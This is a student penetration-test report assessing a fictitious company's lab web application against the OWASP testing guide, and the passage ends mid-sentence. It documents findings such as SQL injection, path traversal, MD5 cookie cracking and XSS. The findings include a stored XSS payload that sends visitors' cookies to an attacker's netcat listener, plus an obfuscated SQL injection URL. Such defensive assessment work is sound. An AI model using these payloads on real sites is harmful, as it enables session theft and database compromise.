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Abstract 

Hacklab Security Solutions Inc has decided to take their business online to expand and 

potentially reach new customers. They currently have a website however, have some concerns 

about the security of the web application. To identify any security issues, and to assess the risk, 

an Abertay University Ethical Hacking student has been employed to run a penetration test 

against the system. The OWASP Web Security Testing Guide was followed to ensure a 

comprehensive security assessment was performed. A Kali Linux machine was installed on the 

network and was used to perform the penetration test. This resulted in several vulnerabilities 

being identified on the web application, including but not limited to, SQL injection, path 

traversal, no SSL/TLS certificate, and Cross Site Scripting (XSS). This could result in loss of 

customer information which causes damage to the business’ reputation, and in extreme case 

can result in fines against the company. To prevent this a redesign of the web application is 

necessary. 
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1 INTRODUCTION 

1.1 BACKGROUND 

There are around 1.14 billion websites on the World Wide Web today (siteefy, 2022). Since the World 

Wide Web's founding in 1991, there has been an explosion in the number of websites serving various 

purposes, from e-commerce to education. With this explosion in online services, there has been an 

accompanying explosion in software which allow these websites to run, allowing faster loading times, 

better storage techniques, and improved security. However, this newfound complexity also has its 

issues, services becoming outdated, misconfigured, and vulnerable.  

To improve their business Hacklab Security Solutions have recently set up a website however they have 

concerns around the security of the Web Application. The company have therefore employed an ethical 

hacking student to test the application's security. I intend to run the OWASP Web Application 

Penetration Test, which is regularly updated to catch modern vulnerabilities. It is a web application 

penetration test which allows a mock attack of the web application to identify vulnerabilities in the 

system. Tools such as OWASP ZAP, Nmap and Netcat are effective tools that will enable the penetration 

tester to identify vulnerabilities as they arise. The OWASP methodology was chosen over OSSTMM as by 

design it is better suited for testing websites security.    

 

Figure 1 OWASP Top ten  

(securityboulevard.com,2022) 

Figure 1 shows that in the last four years, there has been a change in the main vulnerabilities that are 

found on websites, with items such as Injection Attacks becoming less common and Broken Access 

Control becoming a more popular attack vector. 94% of websites tested had issues with Broken Access 

Control (securityboulevard.com, 2022). By following the OWASP methodology, it will enable a 

comprehensive evaluation of the website's security to identify issues and possible solutions.  
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1.2 AIMS 

Due to concerns about the security of their website, "Hacklab Security Solutions" employed an ethical 

hacking student at Abertay University, to test the application's security. This was carried out in order to :  

• Simulate the risks an attacker poses to “Hacklab Security Solutions” Web Application 

 

• Follow the OWASP Website Pen-testing Methodology to undertake the attack on the system 

 

• Document any findings which will be presented to “Hacklab Security Solutions” detailing 

vulnerabilities and possible solutions 
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2 PROCEDURE AND RESULTS 

2.0 OVERVIEW OF PROCEDURE 

The OWASP's Web Security Testing Guide was selected to test the Web Application's security due to its 

thorough testing method. The testing methodology is broken into twelve main sections. 

4.0 Introduction and Objectives 

4.1 Information Gathering 

4.2 Configuration and Deployment Management Testing 

4.3 Identity Management Testing 

4.4 Authentication Testing 

4.5 Authorisation Testing 

4.6 Session Management Testing 

4.7 Input Validation Testing 

4.8 Testing for Error Handling 

4.9 Testing for Weak Cryptography 

4.10 Business Logic Testing 

4.11 Client-side Testing 

Each section is broken into further subsections to ensure all aspects of a website's security are tested, 
e.g., 4.5 Authorisation Testing broken into: 

• 4.5.1 Testing Directory Traversal File Include 

• 4.5.2 Testing for Bypassing Authorisation Schema 

• 4.5.3 Testing for Privilege Escalation 

• 4.5.4 Testing for Insecure Direct Object References 

A Kali Linux Virtual Machine and external tools such as OWASP Zap and Cyber Chef were used to test the 
web application. 

Not all sections/subsections are relevant to the pen-test of Hacklab Security Solutions and will be noted 
with justification. One such section is 4.11 Client-side Testing, as this is covered throughout other 
sections of the methodology. No vulnerabilities discovered will be discussed with anyone prior to 
disclosure to the client. 
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2.1  INFORMATION GATHERING 

2.1.1 Conduct Search Engine Discovery for Information Leakage 

Due to the fictitious nature of the penetration test, this was not possible. 

2.1.2 Fingerprint Web Server   

Fingerprinting a Web Server is the process of identifying services and operating systems on the web 

server. This allows an attacker to identify vulnerabilities in the system. Initially the Nmap tool with the    

-sV (Service Version), -O (Operating System) and -p- (All ports) switches were used to fingerprint the 

webserver.  

 

Figure 2  Nmap scan of Web Server 

Figure 2 shows three services and their versions running on the host:  

• FTP – File transfer protocol version 2.3.4  

• HTTP – Apache 2.4.3 , PHP 5.4.7  

• MySQL – MySQL 

2.1.3 Review Webserver Metafiles for Information Leakage 

The Web Application was then reviewed for files that may leak information about the application, such 

as software versions and the OS. Initially, the ‘robots.txt’ file was accessed.  
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Figure 3 Web Server's robots.txt 

Figure 3 shows that the 'robots.txt' informs search engines not to document the 'schema.sql' file. By 

visiting ‘192.168.1.10/schema.sql’ we can see it is accessible to anyone and the contents include the 

setup of the MYSQL database for the application.  

 

Figure 4 schema.sql contents  

Figure 4 shows the 'schema.sql' file, which is the instructions to reformat the tables. This file contained 

information regarding the structure of the tables for user accounts and products. Full file can be viewed 

in Appendix A.   
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The 'phpinfo.php' file was tested to see if it was visible. 

 

Figure 5 PHP information page 

Figure 5 shows that 'phpinfo.php' can be viewed. This file disclosed the locations of the configuration 

files, computer name, PHP version, and the Operating System.  

Section 2.1.3 has managed to identify the OS as Tiny Core Linux running Apache and PHP Version 5.4.7. 
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2.1.4 Enumerate Applications on a Webserver 

This step was undertook to identify what services were running on the web server by scanning all ports 

in order to identify any non-standard ports on the webserver. Nmap with the following command 

recommended by OWASP was ran. 

nmap –Pn –sT –sV –p0-65535 192.168.1.10 

 

Figure 6 OWASP Nmap scan 

Figure 6 shows three services FTP, HTTP, and MySQL. No additional services were identified.  

2.1.5 Review Webpage Content for Information Leakage 

The web application was then searched for comments and metadata. Web developers commonly 

comment on code, which can lead to involuntary information disclosure, such as database passwords 

and software versions. 

OWASP Zap's search functionality was an efficient way to traverse through the website search queries 

such as 'passwd' and 'TODO'. Also, pages of interest such as the admin login page and user login page 

were searched to look for interesting comments. 

  

 

Figure 7 comment on the login page 

Figure 7 shows a comment remaining from debug in the file.  
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Figure 8 information leakage 

Figure 8 shows a PHP expert's email address and phone number. This information could be used to 

contact Denis Smith.  

2.1.6 Identify Application Entry points  

Identifying the application's entry points (login pages) allows for the enumeration that an attacker is 

likely to exploit. 

Before login: 

Login page  

- Username 

- password 

• Sign up page  

- Gender  

- First name  

- middle name  

- last name  

- email 

- password 

- Confirm Password 

- DOB 

- Address 

- City 

- Contact number 

• Search Products 

• admin login  

- Username  

- Password 

• Forgot Password  

- Email 

After login 

• Product Search  

• Email  

- Name  

- Email  

- Subject  

- Message 

• Announcement 

- Comment 



9 | P a g e  
 

• Change details 

- Gender  

- First Name  

- Middle Name  

- Last Name  

- DOB  

- Address  

- City  

- Contact Number  

- Email  

- New Password  

- Profile Picture 

 

2.1.7 Map execution Paths through application 

To map the execution paths through the webpage using OWASP ZAP's spidering tool to understand 

workflows and the application's layout.  

 

Figure 9 OWASP ZAP spider scan 

Figure 9 shows OWASP ZAP discovered 527 URLs on the Web Server. The full scan is in Appendix B. 'Dirb' 

was also run to map out relevant URLs that OWASP ZAP may have missed. 
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Figure 10 ‘dirb’ scan 

Figure 10 shows the existence of an admin directory and a  interface. The full scan is in Appendix C. 

 

2.1.8 Fingerprint Web Application Framework 

The Web Server was fingerprinted to identify the underlying services that the website is running. Using 

‘OWASP ZAP’, ‘whatweb’ and ‘curl’, we can identify what services were running. 
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Figure 11 OWASP ZAP X-powered by  

Figure 11 shows that OWASP ZAP identified through the header of the webpages that the web server is 

Apache 2.4.3 running PHP 5.4.7. The following curl command backed up OWASP ZAP’s findings. 

curl -v http://192.168.1.10  

 

Figure 12 curl command 

Figure 12 shows ‘curl’ identifying the same software and versions as OWASP ZAP. Using 'whatweb', we 

can see more detailed information. 

whatweb 192.168.1.10 

 

Figure 13 ’whatweb’ scan  

Figure 13 shows ‘whatweb’ identified the Web Server is running ‘Apache 2.4.3’ and ‘PHP 5.4.7’ as well as 

‘JQuery’, and an email of ‘sales@UADHacklab.com’. All tools have identified the PHP and Apache 

versions. 

 

http://192.168.1.10/
mailto:sales@UADHacklab.com
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2.1.9 Fingerprint Web Application 

The section was completed in 2.1.8, merged within the previous section. 

2.1.10 Map Application Architecture 

The fictitious nature of this assignment means this section is not required. 

2.2 CONFIGURATION AND DEPLOYMENT MANAGEMENT TESTING 

2.2.1 Test Network Infrastructure Configuration 

The network infrastructure configuration was tested to identify if the applications configurations were 

secure and if the services running were susceptible to any known vulnerabilities. ‘nikto’, a web 

vulnerability scanner was ran: 

nikto -host 192.168.1.10 

Figure 14 shows that ‘nikto’ discovered several issues: 

• Filenames are susceptible to a bruteforce attack  

• No XSS protection header 

• Out-of-date software versions  

‘nikto’ also identified listable directories, including the ‘/database’, ‘/admin’ and '/test-cgi’ directories. 

 

 

 

Figure 14 nikto vlunrebilties and directory  
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Figure 15 test-cgi  page 

 

Figure 16 ‘/img’ directory 

Figure 15 and figure 16 show that ‘nikto’ correctly identified vulnerable directories. Next an OWASP ZAP 

scan was run and was included as an attachment to this document. 
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Figure 17 OWASP ZAP alerts 

Figure 17 shows OWASP ZAP scan which identified several critical issues with the Web Server, including 

Cross Site Scripting (XSS) and SQL Injection. This will be discussed later in the document.  

2.2.2 Test Application Platform Configuration 

Not applicable due to the fictitious nature of the website 

2.2.3 Test File Extensions Handling for Sensitive Information 

Not applicable due to the fictitious nature of the website 

2.2.4 Review Old Backup and Unreferenced Files for Sensitive Information 

Not applicable due to the fictitious nature of the website  
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2.2.5 Enumerate Infrastructure and Application Admin Interfaces 

Previous scans on the Web Application identified the presence of an admin directory. In this section, the 

‘dirb’ tool was used alongside manual searches for other directories. See Appendix C for the ‘dirb’ scan 

output. 

 

Figure 18 ‘dirb’ scan  

Figure 18 shows the ‘/admin/’ directory was found by ‘dirb’. 
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Figure 19 ‘/admin/ADMIN’ directory 

Figure 19 shows the identified admin/ADMIN directory containing the administrator site  

 

Figure 20 admin management page 

Figure 20 shows the ‘admin/ADMIN/ADS/’ directory, which is accessible by anyone. 
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2.2.6 Test HTTP Methods 

The web application was checked to show what HTTP verbs were usable on the site, ensuring no lesser-

known verbs were in use as these can be used for malicious purpose. A Nmap with the ‘http-methods’ 

script was run.  

 

Figure 21 Nmap scan for HTTP methods 

Figure 21 shows the standard GET, HEAD, POST, and OPTIONS verbs were in use. No non-standard verbs 

are in use.    

2.2.7 Test HTTP Strict Transport Security 

The web application was tested for encryption. If the web application can be loaded through an 

unencrypted connection it would be vulnerable to a ‘man in the middle’ attack. The web application was 

loaded using curl -s -D- switches and searched using ‘grep -i strict’ .  

curl -s -D- 192.168.1.10 | grep -i strict 

 
Figure 22 curl command  

Figure 22 shows no response from the web application was received, therefore this proves that the 

website is not encrypted.  

2.2.8 Test RIA Cross Domain Policy 

Not present in any scans, not applicable. 

2.2.9 Test File Permission 

Not possible to test the backend, not applicable. 

2.2.10 Test for Subdomain Takeover 

Not possible to test due to its fictitious nature, not applicable. 

2.2.11 Test Cloud Storage 

Not possible to test due to its fictitious nature, not applicable. 
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2.3  IDENTITY MANAGEMENT TESTING 

2.3.1 Test Role Definition  

The OWASP methodology identifies 4 key user types that are recommended to be used. Each have 

different roles and responsibilities. These include:  

• Administrator 

• Auditor 

• Support Engineer 

• Customer 

The ‘sqlmap’ tool was ran to perform a SQL injection attack in order to enumerate the user types.  

 

Figure 23 user types 

Figure 23 shows that there are five types of users present on the web application. The account types 

are: 

• Advertising  

• Asset  

• Online Ordering  

• Super  

• Customer 

The OWASP recommendation on key user types has not been followed. It was found that all user types 

are set to ‘Admin ‘. All users with ‘Admin’ user type could alter product information.  
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Figure 24 Product page for altering data 

Figure 24 shows the product information page including price, quantity, and actions. The price of the 

Professional Standard Box Camera was modified to prove  that an ‘Admin’ user could make a change in 

the database.  

 

Figure 25 Altered table 
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Figure 25 shows that the price has been changed to £301. It was then tested to see if customer details 

including password hashes could be discovered. 

 

Figure 26 Customer Information  

Figure 26 shows customer information including password hashes could be viewed by all Admins. 

Note: Using the inspect element, the Password field was changed to text. 

2.3.2 Test User Registration Process 

The registration process was tested with real credentials to understand how the web application 

registers a new users. 
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Figure 27 Real credentials sign-up  

Figure 27 shows the credentials worked and the user was registered. The credential fields were tested 

for any limitations.   

 

Figure 28 18+ error message 

Figure 28 shows there is a date restriction on the DOB field.  

 

Figure 29 Too short password  

Figure 29 shows the attempted use of a password of ‘111’ which resulted in this error message  
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Figure 30 Pre-used email  

Figure 30 shows another constraint is an unique entry in the email field is required for each account. The 

following shows the OWASP checklist results: 

Question Answer 

Can anyone register for access No. The user’s age must be above 18+. 

Are registrations vetted by a human prior to 
provisioning, or are they automatically granted if 
the criteria are met 

Account registered if criteria met. 

Can the same person or identity register multiple 
times 

No. The account requires a unique entry in the 
email field. 

Can users register for different roles or 
permissions 

No. User can only register for an account. The 
role is not selectable.   

What proof of identity is required for a 
registration to be successful 

None. 

Are registered identities verified No. 

 

Validate the registration process: 

Question Answer 

Can identity information be easily forged or faked Yes. No user identity verification is performed. 

Can the exchange of identity information be 
manipulated during registration?: 

Yes. No encryption present. Data is sent using a 
POST request.  
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Figure 31 user credentials  

Figure 31 shows that the credentials of ‘1’ above worked. The password was 1234567. 

2.3.3 Test Account Provisioning Process 

The account provision process was tested using the OWASP Checklist provided below.   

Question Answer 

Is there any verification, vetting and 
Authorisation of provisioning requests 

No 

Is there any verification, vetting and 
Authorisation of de-provisioning requests 

No 

Can an administrator provision other 
administrators or just users? 
 

Can create users only  

Can an administrator or other user provision 
accounts with privileges greater than their own 
 

No 

How are the files or resources owned by the de-
provisioned user managed? Are they deleted? Is 
access transferred 
 

Accounts are labelled inactive 
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Figure 32 Account labels 

Figure 32 shows that deleted accounts were labelled inactive when a user deleted them. 

2.3.4 Testing for Account Enumeration and Guessable User Account 

The Web Application was tested to see if accounts on the system were easily guessable and to identify 

any mitigations the developers have implemented.  

 

Figure 33 Incorrect  username/password  

Figure 33 shows the response to the username password credentials of: 

• Root / Toor  

• Username / Password  

• Admin/Admin 

 

Figure 34 Incorrect password 

Figure 34 shows the response to a valid username ‘hacklab@hacklab.com’ but an incorrect password.  

 

mailto:hacklab@hacklab.com
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Figure 35 Admin incorrect credentials 

Figure 35 shows the admin login page’s response to incorrect username, password, and 

username/password combinations. 

2.3.5 Testing for Weak or Unenforced Username Policy 

Weak or unenforced username policies were tested using the email address ‘1’. The system accepted 

the value ‘1’ as a valid email / username. This suggests there is no weak or unenforced username policy 

in place. 

 

Figure 36 user credentials 

Figure 36 shows the unique email requirement for new user registration. 

2.4 AUTHENTICATION TESTING 

2.4.1 Testing for Credentials Transported over an Encrypted Channel 

As previously shown in section 2.2.7 the connection is unencrypted, leaving the web server open to a 

‘man-in-the-middle attack’. Wireshark was used to packet sniff while logging into the account with the 

credentials (hacklab@hacklab.com / hacklab ).  

mailto:hacklab@hacklab.com
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Figure 37 Wireshark Capture  

Figure 37 shows us the Wireshark capture, we can see the URL-encoded email address and password 

highlighted above. Using ‘Cyber Chef’, we can URL-decode this and see the credentials.  

 

Figure 38 Cyber Chef URL Decode 
 

Figure 38 shows that by URL decoding. The credentials are ‘hacklab@hacklab.com’ with a password of 

‘hacklab’. No encryption is present on the Web Server. 

mailto:hacklab@hacklab.com
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2.4.2 Testing for Default Credentials 

Due to the nature of modern websites built upon standard services, default passwords are common to 

gain access to these services. This poses a risk as these passwords are also easily guessable. Initially the 

following common credentials were tried:  

• root / toor  

• admin/admin 

• root /root  

• password /password 

 

Figure 39 Incorrect credentials 

Figure 39 shows the result of various combinations of these passwords. 

2.4.3 Testing for Weak Lock Out Mechanism 

There was no limit to the number of password attempts made on the web server despite repeatedly 

trying different passwords on the admin login page without triggering any lockout mechanism.  

2.4.4 Testing for Bypassing Authentication Schema 

Forced Directory Browsing  

In section 2.2.5 ‘dirb’ revealed the ‘admin/ADMIN’ directory. This directory was tested to see if it could 

be bypassed. 

 

Figure 40 Admin Directory  

Figure 40 shows it is possible to access the admin directory by visiting 

http://192.168.1.10/admin/ADMIN  

All proceeding pages are available to access without any credentials.  

 

http://192.168.1.10/admin/ADMIN
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Figure 41 Customer Information 

Figure 41 shows that without any credentials, it was possible to access customer information.   

 

2.4.5 Testing for Vulnerable Remember Password 

Not applicable due to its fictitious nature. 

2.4.6 Testing for Browser Cache Weaknesses 

Out with testing guideline . 

2.4.7 Testing for Weak Password Policy 

A weak password policy makes it easy for attackers to run a dictionary attack against the login 

credentials. The website requires a minimum password of seven to fourteen characters  

 

Figure 42 Too short  password 

Figure 42 shows that the password is required to be between 7 and 14 characters long. 
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Figure 43 Password Hashing 

 Figure 43 shows the web application uses a hash algorithm to secure the passwords. 

2.4.8 Testing for Weak Security Question Answer 

No Security Questions present. 

2.4.9 Testing for Weak Password Change or Reset Functionalities 

Password reset is not available unless logged into the application.  

2.4.10 Testing for Weaker Authentication in Alternative Channel 

Not appliable only one webserver tested. 

2.5 AUTHORISATION TESTING 

2.5.1 Testing Directory Traversal File Include 

The web application is hosted within the web server with various folders and sub-folders making up the 

complete website. The web application was tested to see if it was correctly configured, and if path 

traversal was possible. From the OWASP ZAP report attached, a path traversal vulnerability was 

identified. The full report is attached in this upload:  
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Figure 44 OWASP ZAP report extract  

Figure 44 shows that the OWASP ZAP scan extract identifying evidence of a directory traversal 

vulnerability. An attempt was made to recreate this. 

 

 

Figure 45 ‘etc/passwd’ file 

Figure 45 shows that it is possible to traverse directories that exist on the web server. 
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2.5.2 Testing for Bypassing Authorisation Schema 

This test was completed to determine whether a user without the correct permissions can gain access to 

pages that only the administrator should have access to. The admin pages were then checked.   

 

Figure 46 Admin directory  

Figure 46 again shows it is possible to access the admin directory by visiting 

http://192.168.1.10/admin/ADMIN  

All proceeding pages are available to access without any  credentials.  

 

 

Figure 47 index.php 

Figure 47 shows that it was possible to access the customer management system. 

http://192.168.1.10/admin/ADMIN


32 | P a g e  
 

 

Figure 48 Customers.php 

Figure 48  shows that it was possible to view customers' data; however, when attempting to delete 

Customer ID 5 the admin login page appears.  

 

Figure 49 admin login page  

 

Figure 49 shows that the admin login page is displayed when user credentials are attempted to be 

deleted. 
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Figure 50 Customer accounts after deletion  

Figure 50 shows that upon refreshing the page it was observed that Customer ID 5 was deleted despite 

the admin credentials not being entered. 

2.5.3 Testing for Privilege Escalation 

Privilege escalation was not possible on the web server.  

2.5.4 Testing for Insecure Direct Object References 

Insecure Direct Object References (IDOR) are when the web server gives a direct access via an URL. This 

could allow an attacker to access restricted information.  
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Figure 51 ‘product_details.php’ 

Figure 51 shows that it was possible to append further URL data meaning an IDOR vulnerability is 

present. However, no other variables than ‘id’ proved successful. 

2.5.5 Testing for OAuth Weaknesses 

No OAuth present, not applicable.  

2.5.6 Testing for OAuth Authorisation Server Weaknesses 

No OAuth present, not applicable. 

2.5.7 Testing for OAuth Client Weaknesses 

No OAuth present, not applicable.  

2.6 SESSION MANAGEMENT TESTING 

2.6.1 Testing for Session Management Schema 

Section 2.4.1 identified a Secret Cookie and Session ID sent to each end user of the web server. These 

are visible and can be cracked using Cyber Chef, as shown: 
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Figure 52 Cyber Chef  

Figure 52 shows the cookie to be URL-encoded, Base 64, and rotated 13 (ROT 13). This identified the 

cookie to be in three sections: 

Email 12@mail.com 

Password Hash  920f7412b5da7be0cf42b8c93759 

Time code 1672364379 

2.6.2 Testing for Cookies Attributes 

Section 2.6.1 discovered three attributes present in the cookie. Due to the insecure method of 

transport, the cookie can be viewed and cracked as shown: 

• Password hash 

Using 'hashid', the hash type was identified as MD5.  
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Figure 53 Cyber chef md5 

Figure 53 shows Cyber Chef identified that the password hash is MD5. 

 

Figure 54 Online Hash cracker 

Figure 54 shows by using an online hash cracker, the identified password is ‘1234567’, which is correct.  

• Time code 

The final part of the cookie is a time code using ‘CyberChef’ to identify the login time.  
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Figure 55 Unix timestamp  

 Figure 55 shows the time to be Friday the 30th of December 2022, which is correct.  

2.6.3 Testing for Session Fixation  

Session Fixation occurs because of the insecure practice of having the same cookie before and after 

login. This allows an attacker to impersonate another user with the same cookie. The cookie was 

attempted to be copied from Firefox and then inserted into another browser session. 

 

Figure 56 Cookie values  

Figure 56 shows the secret cookie and PHP session values of a logged in user. These values were then 

copied to the Kali Linux Machine.  

 

Figure 99 Cookie Manger 

Figure 99 shows the Kali Linux Machines changed cookie values, the page was then reloaded. 
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Figure 57 altered cookie page 

Figure 58 shows with the altered cookie values the application stayed logged out. 

2.6.4 Testing for Exposed Session Variables 

No SSL/TLS certificate present, not applicable  

2.6.5 Testing for Cross Site Request Forgery  

Testing for Cross Site Request Forgery ensures that an attacker through social engineering cannot 

manipulate user inputs and or the web application.  

As no CSRF header is included in the application it should be considered possible to manipulate data 

that the user sends to the application such as a change password request.  

2.6.6 Testing for Logout Functionality 

The strength of the logout functionality for the admin and user pages were tested. In Section 2.5.2 it was 

found that access to the admin page was possible without logging in. The user logout functionality works 

as it is not possible to return to a user page post logout. However, it was possible to find the order 

receipts through the official receipt page once logged out.    
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Figure 58 User order post logout 

Figure 59 shows that it was possible to see users' orders without logging in as an admin or user account.  

2.6.7 Testing Session Timeout 

Not possible due to the fictitious nature of the Web Server 

2.6.8 Testing for Session Puzzling 

Not possible due to the fictitious nature of the Web Server. 

2.6.9 Testing for Session Hijacking 

Not possible due to the fictitious nature of the Web Server.  

2.6.10 Testing JSON Web Tokens 

None present, not applicable.  

2.7 INPUT VALIDATION TESTING 

2.7.1 Testing for Reflected Cross Site Scripting 

The OWASP Zap report identifies that a Reflected Cross Site Scripting attack was possible against the 

target. To verify that it was not a false positive, an attempt to attack the web server was carried out.  
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Figure 59 Reflected XSS 

Figure 60 shows the "official_receipt1.php" page where a Reflected Cross Site Scripting attack was 

possible. By altering the URL to include ' "<script>alert(xyz)</script>” ‘, displayed a successful output.   

2.7.2 Testing for Stored Cross Site Scripting 

 

The web application was then discovered to have an announcements section where a user can upload a 

comment through a comment box. This could be used to upload a stored Cross Site Script (XSS). OWASP 

ZAP also Identified this. 
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Figure 60 Stored XSS attack 

Figure 61 shows the output of the uploaded script ‘“<script>alert(1);</script> “’. Every time anyone 

loads the page, an alert with ‘1’ is displayed as above.  

Next an attack was demonstrated where a user's cookie was stolen.  

 

Figure 61 netcat listener 

Figure 62 shows that a ‘netcat’ listener was set up on port 80 on the Kali Linux machine. 

The following malicious code was then uploaded to the comment box on the web application 

‘<script>new Image().src="http://192.168.1.254/b.php?"+(document.cookie)</script>; ’ 
 

This allows a malicious attacker to steal cookies from any users who loads the page  
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Figure 62 Cookie on netcat 

Figure 63 shows a stolen cookie when the page is loaded.  

2.7.3 Testing for HTTP Verb Tampering 

This was completed in Section 2.2.6. 

2.7.4 Testing for HTTP Parameter Pollution 

This was completed in Section 2.5.4. 

2.7.5 Testing for SQL Injection 

From the OWASP scan, one of the critical issues was the possibility of SQL injection. The web application 

was initially tested manually for any vulnerability. An URL with a specially crafted query was run against 

the Web Server: 

http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1' 
/*!20000%0D%0Aunion*/+/*!20000%0D%0ASelEct*/ 1,2,db_name(),4— 

 

 

Figure 63 SQL Database name  

Figure 64 identifies that it is possible to do an SQL Injection attack against the target. ‘sqlmap’ was ran 

against the application to enumerate as much information as possible through the following command. 

sqlmap -u http://192.168.1.10/official_receipt.php?id=4 -a 



43 | P a g e  
 

 
Figure 64 SQLMAP output  

Figure 65 shows the ‘sqlmap’ scan discovered various tables, including admin credentials, products, logs, 

and customer details through SQL injection.  

2.7.6 Testing for LDAP Injection 

Not applicable due to LDAP does not present on the system.  

2.7.7 Testing for XML Injection 

xmlDB not present on the system. 

2.7.8 Testing for SSI Injection 

SSI does not present on the system. 

2.7.9 Testing for XPath Injection 

XPATH not present on the system. 

2.7.10 Testing for IMAP SMTP Injection 

Not possible due to fictious nature.  

2.7.11 Testing for Code Injection 

Not possible on webserver. 

2.7.11.1 File Inclusion 

File inclusion was covered in Section 2.2.3. It was possible to upload a .png file to the application. 

2.7.12  Testing for Command Injection 

Command injection was possible through the URL and was covered in section 2.5.1. 

2.7.13 Testing for Format String Injection 

Format string injection is best done through code review. 

2.7.14 Testing for Incubated Vulnerability 

This has been covered in section 2.1.2. 

2.7.15 Testing for HTTP Splitting Smuggling 

Not possible due to fictious nature of the web application. 



44 | P a g e  
 

2.7.16 Testing for HTTP Incoming Requests 

See section 2.4.1 for Wireshark cookie capture. 

2.7.17 Testing for Host Header Injection 

Outside pen-test parameters. 

2.7.18 Testing for Server-side Template Injection 

Not possible due to fictious nature.  

2.7.19 Testing for Server-Side Request Forgery 

Not possible due to fictious nature. 

2.7.20 Testing for Mass Assignment 

Not possible due to fictious nature . 

2.8  TESTING FOR ERROR HANDLING 

2.8.1 Testing for Improper Error Handling 

See section 2.1.3 for metafile information.  

2.8.2 Testing for Stack Traces 

Merged into 2.8.1. 

2.9  TESTING FOR WEAK CRYPTOGRAPHY 

2.9.1 Testing for Weak Transport Layer Security 

The web server was scanned to see if any SSL/TLS encryption was present on the system. Using ‘sslscan’ 

with the following command to identify encryption if any was present. 

sslscan 192.168.1.10:80 
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Figure 65 sslscan output  

Figure 66 shows from the scan that no SSL/TLS certificate was present meaning the data was 

transported without encryption.   

2.9.2 Testing for Padding Oracle 

No encryption present, not applicable. 

2.9.3 Testing for Sensitive Information Sent via Unencrypted Channels 

In section 2.1.4 it was proved that it was possible to view unencrypted data transmitted between the 

client and the server via Wireshark.  

2.10 BUSINESS LOGIC TESTING 

2.10.1 Test Business Logic Data Validation 

Not applicable, this would be best done as a tabletop exercise.  

2.10.2 Test Ability to Forge Requests 

As seen in Section 2.7.1, 2.7.2, and 2.7.5 it was possible to manipulate/forge requests to attack the 

application. This could allow access to the tables containing customer information such as customer 
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addresses and emails. Also due to the lack of SSL/TLS encryption on the web application it is possible to 

conduct an ‘man in the middle’ attack against customers of the site. 

2.10.3 Test Integrity Checks 

Not applicable, this would be best done as a tabletop exercise involving all parties.  

2.10.4 Test for Process Timing 

Not applicable, this would be best done as a tabletop exercise involving all parties.  

2.10.5 Test Number of Times a Function Can Be Used Limits 

Not applicable, this would be best done as a tabletop exercise involving all parties.  

2.10.6 Testing for the Circumvention of Work Flows 

Not applicable, this would be best done as a tabletop exercise involving all parties.  

2.10.7 Test Defences Against Application Misuse 

There seems to be no content filter on the inbox or the announcements section. This could lead to spam 

and abuse. There are also no lockout login attempts, as seen in section 2.4.3 

2.10.8 Test Upload of Unexpected File Types 

The Web Application was tested using several file extensions against the image upload photo function 

on the update password page. This was carried out as attackers can use malicious extensions to gain 

access to the underlying OS.  

 

Figure 66 test.php upload  

Figure 67 shows that by uploading a file called 'test.php' the website identified this as suspicious 

suggesting there is some filter present. 
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Figure 67 Change picture 

Figure 68 shows that a valid ‘.png’ file was uploaded this demonstrates that there is a malicious file filter 

present. The web server only accepts images in the form .png files. 

2.10.9 Test Upload of Malicious Files 

As shown in Section 2.33 and section 2.10.8 the application prevents non-.png files from being uploaded 

however, the contents of a .png file could be malicious. 

2.10.10 Test Payment Functionality 

No payment functionality present not applicable.  

2.10.11 Testing for Weak Encryption 

The web application used MD5 as its hashing algorithm. This is a weak algorithm that is easily cracked 

sometimes by google searches, as shown by section 2.6.2. 

2.11 OVERALL DISCUSSION 

The OWASP Web Application Security Testing framework was chosen due to its thorough testing of all 

aspects of the website. This framework allows a pen-tester to ‘demonstrate the application meets the 

security requirements of its stakeholders’ (OWASP.org, Dec 3, 2020)  

From following the OWASP methodology, several vulnerabilities have been identified. This will result in 

the website needing to be redesigned in order to be made secure. Many vulnerabilities exist throughout 

the application, meaning multiple pages need remediation. The severe vulnerabilities include SQL 

Injection, Cross Site Scripting stored and reflected, poor hashing, lack of an SSL/TLS Certificate, out-of-

date software, and path traversal. 
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These vulnerabilities allow an attacker to damage both the backend of the website and the customers 

experience. This website should not be used in its current format until the issues have been remediated. 

Alternatively, a new website from a pre-existing framework or a new website from scratch would be a 

better option.  

Some serious vulnerabilities also need resolved but are unlikely to compromise the complete system. 

These include no CSRF tokens, directory browsing, poor cookie encoding, and poor authentication.  

Some low level / informational vulnerabilities that should be fixed include comments and general 

information leakage, such as software versions. 

2.12 COUNTERMEASURES 

2.12.1 SQL Injection 

An SQL Injection attack is an attack that allows an attacker to query the backend database in an 

unintended manner, usually through an input box or URL. This enables the attacker to enumerate, alter 

or delete information in the database entirely. It can also enable a shell to the underlying Operating 

System.   

The vulnerability is identified in Section 2.7.5 Testing for SQL Injection and exists throughout the 

application. To counter this, prepared statements should be used   

Countermeasure  

Prepared statements should be implemented to sanitise the input protecting the query by building the 

query statements as strings. This can be further sanitised through filter input functions in PHP. 

(geeksfofgeeks.org, 23 July 2021).  

Further reading on this subject can be found here: 

https://hackernoon.com/top-5-ways-to-prevent-sql-injections-ro2e35ba 

 

2.12.2 Cross Site Scripting (Reflected) 

Cross Site Scripting (Reflected) is the process of executing a script mirrored to a victim’s browser 

through user interaction, such as clicking a malicious link. This can allow an attacker to steal a session 

cookie or web token from the victim's browser.   

This vulnerability is identified in section 2.7.1 - Testing for Reflected Cross Site Scripting. This 

vulnerability exists in input boxes, and URLs throughout the web application. 

Countermeasure  

Input validation is the best way to prevent a Cross Site Scripting (Reflected) attack. Functions in PHP 

such as htmlspecialchars() convert characters such as ‘<’ to ‘&lt;’ making it difficult to conduct a Cross 

Site Scripting attack the ‘ENT_QUOTES’ also encodes quotation marks. (virtuesecurity.com, No Date) 

Further reading into methods  to prevent Cross Site Scripting attacks can be found here:  

https://www.imperva.com/learn/application-security/reflected-xss-attacks/ 

https://hackernoon.com/top-5-ways-to-prevent-sql-injections-ro2e35ba
https://www.imperva.com/learn/application-security/reflected-xss-attacks/
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2.12.3 Cross Site Scripting (Stored) 

Cross Site Scripting (Stored) is the process of uploading a malicious script to a webpage on the web 

server. Any end user of the system who loads this webpage will execute this code, allowing an attacker 

to steal user cookies without any real user interaction, apart from loading the page. This exploit is 

typically uploaded through the web application input boxes. 

This vulnerability is identified in section 2.7.2-Testing for stored Cross Site Scripting. This vulnerability 

exists in the comments section of the announcements page. 

Countermeasure  

Similar to above, input validation is an excellent way to prevent this type of vulnerability. Another tool 

